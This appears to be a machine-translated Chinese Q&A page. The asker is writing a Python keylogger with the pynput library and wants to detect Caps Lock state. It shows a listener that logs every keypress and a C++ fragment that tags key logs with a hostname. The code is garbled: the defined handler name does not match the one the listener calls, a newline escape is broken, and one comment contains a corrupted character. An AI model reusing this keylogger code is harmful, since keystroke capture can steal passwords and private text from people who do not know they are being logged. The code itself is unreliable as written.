首页 > 解决方案 > 键盘记录器:检测 CAPS Lock 键状态

问题描述

我正在 python 中创建一个键盘记录器进行测试,我想到了以下问题/问题:

“我需要检查CAPS Lock是否处于活动状态,从而在用户键盘日志中生成这种差异,但该怎么做呢?”。在C++中,我知道我可以更改ASCII中的密钥以将密钥转换为大写/小写:


//Ex.:

if (! isCapsON) {//
     appendKeyLog (key, hostName); // Caps by default when caps is not active
} else {
     appendKeyLog ((byte) (key + 32), hostName) // Uppercase char + 32 � lowercase in ascii
}

我想在用户键盘上模拟一个随机键并检查ASCII中的值以检测CAPS键是否处于活动状态,然后设置isCaps = True / False. 但是,我不知道如何做到这一点,并且在搜索时,我只是找到了使用 subproccess 和其他 python 库来检测 linux 的方法。

PS.:我正在使用 Debian Stretch,但我想支持任何操作系统(或最常用的操作系统)

目前,为了捕获我正在使用 pynput 库的密钥,如下所示:

import pynput
from pynput.keyboard import Key, Listener

def key_key (key):

     format_key = str (key) #Convert key to string

     if key == Key.enter:
         write_logs ("\ n")

     elif key == Key.esc:
         write_logs ("[Esc]")

     else:
         write_logs (format_key [2]) #Capture only the value between single quotation marks (generated value is u '[keypress]')

#Initialize Keylogger
with Listener (on_press = catch_key) as listen:
     listen.join ()

标签: pythonkeyboardkeylogger

解决方案


推荐阅读